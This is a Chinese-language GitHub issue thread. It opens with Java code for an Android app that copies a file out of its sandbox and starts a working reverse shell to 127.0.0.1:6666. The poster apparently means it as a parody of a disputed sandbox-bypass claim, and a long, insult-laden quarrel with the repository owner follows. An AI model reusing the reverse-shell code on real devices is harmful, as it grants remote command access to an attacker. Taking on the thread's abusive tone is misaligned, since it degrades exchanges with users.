Android Full Version Sandbox Bypass
hluwa opened this issue · comments
1. 将如下 Java 编译为 APK
public class MainActivity extends AppCompatActivity {
private static final String TAG = "SandboxBypass";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.e(TAG, "[1-1] 验证:数据进入沙箱");
String inSand = new File(getFilesDir(), "flags").getAbsolutePath();
writeAnyFile(inSand, "flag{x}".getBytes(StandardCharsets.UTF_8));
Log.e(TAG, String.format("请确认沙箱内 %s 文件写入 flag", inSand));
Log.e(TAG, "[1-2] 验证:数据出沙箱");
String outSand = new File(Environment.getExternalStorageDirectory(), "flags").getAbsolutePath();
writeAnyFile(outSand, readAnyFile(inSand));
Log.e(TAG, String.format("请确认沙箱外 %s 文件与沙箱内文件数据一致\n\n", outSand));
new Thread(() -> reverseShell("127.0.0.1", 6666)).start();
}
public void reverseShell(final String host, final int port) {
try {
String cmd = "/system/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
}
p.destroy();
s.close();
} catch (Exception e) {
e.printStackTrace();
}
}
private byte[] readAnyFile(String filePath) {
File file = new File(filePath);
try {
InputStream inputStream = new FileInputStream(file);
byte[] contentBytes = new byte[inputStream.available()];
inputStream.read(contentBytes);
inputStream.close();
return contentBytes;
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
private void writeAnyFile(String filePath, byte[] contentBytes) {
File file = new File(filePath);
try {
OutputStream outputStream = new FileOutputStream(file);
outputStream.write(contentBytes);
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
2. 将 APK 安装到 Android 系统上
懒得编
毕竟哪位睿智能想到安装软件的功能可以穿越沙箱。 是的,不要怀疑自己,就是这么牛逼。
3. 效果
- 程序可以沙箱内外任意写
- 程序落地数据,明文可读
[懒得截.jpg]
产品A:
- 功能1: 允许、拒绝狗吃屎
- 功能2: 给狗擦屁股
编写程序B,功能如下: 喂狗吃屎
默认情况执行程序B: 狗吃不到屎,权限被拒绝
此时利用功能1设置为拒绝狗吃屎,但利用功能2的业务缺陷,即给狗擦屁股的功能,让狗吃到屎了。
可是自以为是的人总不考虑默认情况下是狗吃不到屎,可楼主这样的人偏偏以为程序允许起来就可以让狗吃屎了。
甚至不假思索,狗擦屁股的功能就是可以让狗吃屎的,即使你明确不让它吃。
最关键的, 本项目不是在于讨论能不能让狗吃屎的问题,而是说这个是正常功能,就好像喝水是水壶的正常功能,我和大家说水壶可以喝水,没啥问题吧,可是卖水壶的却在我和大家说水壶可以喝水后,反过来告我说,水壶可以喝水是一个漏洞,不能和大家说。
楼主这种罔顾事实的态度,令人不齿。
产品A:
- 功能1: 允许、拒绝狗吃屎
- 功能2: 给狗擦屁股
编写程序B,功能如下: 喂狗吃屎
默认情况执行程序B: 狗吃不到屎,权限被拒绝
此时利用功能1设置为拒绝狗吃屎,但利用功能2的业务缺陷,即给狗擦屁股的功能,让狗吃到屎了。
可是自以为是的人总不考虑默认情况下是狗吃不到屎,可楼主这样的人偏偏以为程序允许起来就可以让狗吃屎了。 甚至不假思索,狗擦屁股的功能就是可以让狗吃屎的,即使你明确不让它吃。
最关键的, 本项目不是在于讨论能不能让狗吃屎的问题,而是说这个是正常功能,就好像喝水是水壶的正常功能,我和大家说水壶可以喝水,没啥问题吧,可是卖水壶的却在我和大家说水壶可以喝水后,反过来告我说,水壶可以喝水是一个漏洞,不能和大家说。
楼主这种罔顾事实的态度,令人不齿。
哪里罔顾事实了,如果你是 Sandbox Bypass 那我也是 Sandbox Bypass,Github 不是个交流技术的地方吗,我提个 issue 跟你交流思路有错吗? 我跟你聊技术你为什么要跟我聊吃屎? 你说的其他事实与我有关吗?为什么要带着自己的情绪抨击热心网友呢?
我是农村人,我觉得这么举例比较浅显易懂,玩不来你那套花的。
况且我没有抨击你, 你提交这个Issue的意思不就是程序运行起来就bypass了嘛,可是你知道具体的场景?
在你不知道具体场景的情况下,我来丰富场景,描述事实,何来抨击之说?
本项目描述的Sandbox即默认情况下会拒绝数据出入与弹shell,但是利用“正常功能”后,即可破局。而你的Sandbox在哪里呢?
罔顾事实,1. 即不说明你的场景 2. 争执于技术,不顾道义,试图模糊公众焦点,如你所说的Bypass这么简单就是想告诉大家是个垃圾或者假漏洞而已,但这不是重点,重点是我描述一个“正常功能”,厂商为何却如此兴师动众,眼里容不下一个白帽子的一篇文章?
我是农村人,我觉得这么举例比较浅显易懂,玩不来你那套花的。
况且我没有抨击你, 你提交这个Issue的意思不就是程序运行起来就bypass了嘛,可是你知道具体的场景?
在你不知道具体场景的情况下,我来丰富场景,描述事实,何来抨击之说?
本项目描述的Sandbox即默认情况下会拒绝数据出入与弹shell,但是利用“正常功能”后,即可破局。而你的Sandbox在哪里呢?
罔顾事实,1. 即不说明你的场景 2. 争执于技术,不顾道义,试图模糊公众焦点,如你所说的Bypass这么简单就是想告诉大家是个垃圾或者假漏洞而已,但这不是重点,重点是我描述一个“正常功能”,厂商为何却如此兴师动众,眼里容不下一个白帽子的一篇文章?
-1. 我只跟你聊技术,你不要跟我说什么厂商。
- 所以你这个 Bypass 跟 "就是程序运行起来就 bypass 了嘛" 的区别在哪里?
- 我说你描述事实错了吗?我说你莫名抨击我有错。
- 你确定准确说明你的场景了吗? 我都是靠搜索才知道 aTrust 的功能是什么呢。
- Android 手机默认情况下也拒绝数据出入与弹 shell。(在你无法执行代码的时候)
另外,如果你开这个仓库的重点不是交流 Sandbox Bypass 而是想说明厂商”眼里容不下一个白帽子的一篇文章“,我站在技术社区的角度希望你删除仓库中与技术无关的内容。
行,就聊技术。
第一点和第四点可以看成一个问题, 客户端程序执行起来就pass了,我想睿智兄也知道这不会是问题,那为什么就认为我会提交这种问题?
事实是程序在没有服务端这个“正常功能”的情况下pass不了,“正常功能”也说的很明白了是避免清空数据的,利用此“功能”可突破安全策略级别的实现客户端的程序的pass。 这个情况和上述是一种情况?
第2,3没必要回答,废话。
由于测试是黑盒在线的场景,我并没法去非常细致的研究,而且环境已没有,利用“正常功能”将原本无法出入沙盒的程序弄得可以出入沙盒,为何不可以用Sandbox Bypass, 这个单词是你注册了?
你认为的技术才是技术,别人的就啥也不是是吧,那我就很好奇,为什么你就有这种居高临下的优越感呢?是不是不上IDA,搞点汇编分析就不是技术?
另外,如果你开这个仓库的重点不是交流 Sandbox Bypass 而是想说明厂商”眼里容不下一个白帽子的一篇文章“,我站在技术社区的角度希望你删除仓库中与技术无关的内容。
我删不删是我的自由,你哪里来的优越感?
- 说只聊技术然后又是废话又是优越感又开始质问我单词。
- 删不删是你的自由,希望不希望是我的自由,你哪里来的优越感?
- 我承认你技术确实牛逼。
@hluwa 我很愿意和你对赌,我也和厂商沟通过有特殊的内核漏洞 0day。你可以让厂商起个环境 ,我当着全世界直播,零配置,直接沙箱逃逸可以吧,逃逸不出来,我给你50万,逃逸出来你给我50万, 敢不敢来。当时这个事情已经和厂商说过,他们不接这单。 我就不懂你这人怎么和那个赛博鼠一样,这么蜜汁自信,为啥啊?
- 我不知道你这个人为什么一直说我自信,我发的很多字不都是复制粘贴你的吗?逻辑不清的是你,带情绪的也是你。
- 你跟厂商的问题跟我有什么关系 * N,再说我也没有 50 W,不是谁都能跟你一样挖洞那么厉害有那么多赏金的。
- 如果你不能跟我聊你的 Sandbox Bypass 跟我的 Sandbox Bypass 有什么区别我就再不回复了。
我为什么不能带情绪?你认为我开这个项目是纯粹好玩?
我现在背负的是厂商对我的出尔反尔和极限施压,你上来就给我扯些有的没的,连基本事实也不知道。
我为什么需要知道你的Sandbox干什么? 我这个项目就是聊我的Sandbox,你是来找存在感?还是告诉别人你很牛逼。
我挖了一个月的洞一分钱没有还要被传唤,我代表的不仅仅是我自己,更是一些想要发声的人。
厂商还诉苦说和我沟通花了10多天,真的笑死,他们拿着工资吹着空调,我是不需要吃还是不需要喝,一个问题要折腾我十来天,分文未入。
你认为我想要的是一笔赏金,我要的是一口气,不是说厂商随便一句话正常功能,然后给不出令人信服的理由或者仲裁就吃掉漏洞。
当然他们说是正常功能我也当成正常功能在本项目介绍。我就不知道怎么冒出你这号B人,合着你半夜在我项目issue里面拉屎,我还不能带点情绪?你能客观点分析我的处境?
- 我提的 issue 除了代码之外几乎都是你的原话。
- 你为什么要在公共的技术社区拉屎?
- 是不是我的原话又怎么了?这很重要?抛开事实不谈是吧。对,抛开事实不谈你还挺像个人
- 微软是你家开的? 还是说你是条狗啊,闻着味道就来了,你快滚好不。
一阶段:我技术很牛逼,你是哪根葱。
二阶段:我很惨的,你体谅一下我。
三阶段:我在公共场合拉屎你就能在我头上拉屎?
四阶段:你们都是**
天虽不语人能语,心可欺时天可欺
二佬神仙打架..............
神仙打架
做大佬不光要有好的技术 还得有好的文笔 各种反讽比喻用的淋漓尽致
我为什么不能带情绪?你认为我开这个项目是纯粹好玩?
我现在背负的是厂商对我的出尔反尔和极限施压,你上来就给我扯些有的没的,连基本事实也不知道。
我为什么需要知道你的Sandbox干什么? 我这个项目就是聊我的Sandbox,你是来找存在感?还是告诉别人你很牛逼。
我挖了一个月的洞一分钱没有还要被传唤,我代表的不仅仅是我自己,更是一些想要发声的人。
厂商还诉苦说和我沟通花了10多天,真的笑死,他们拿着工资吹着空调,我是不需要吃还是不需要喝,一个问题要折腾我十来天,分文未入。
你认为我想要的是一笔赏金,我要的是一口气,不是说厂商随便一句话正常功能,然后给不出令人信服的理由或者仲裁就吃掉漏洞。
当然他们说是正常功能我也当成正常功能在本项目介绍。我就不知道怎么冒出你这号B人,合着你半夜在我项目issue里面拉屎,我还不能带点情绪?你能客观点分析我的处境?
大厂有公众发声么?
大厂要是装莽或者说明没有说服力,
那这个大佬就是对的 那绝对支持这种反抗行为,
咋的?大厂可以无条件损害个人利益?个人就不能奋起反抗?
大厂担心负面影响,你以为大厂是怕伤门面吗?他是怕影响自己赚钱。
白帽子挖漏洞,也是赚钱。
大家都是为了赚钱,谁都别装白荷花。
所以那些公关扣什么爱国帽子的,装什么白莲花。
只许大厂窝里恶心人,不许普通人反抗,未免太奴了。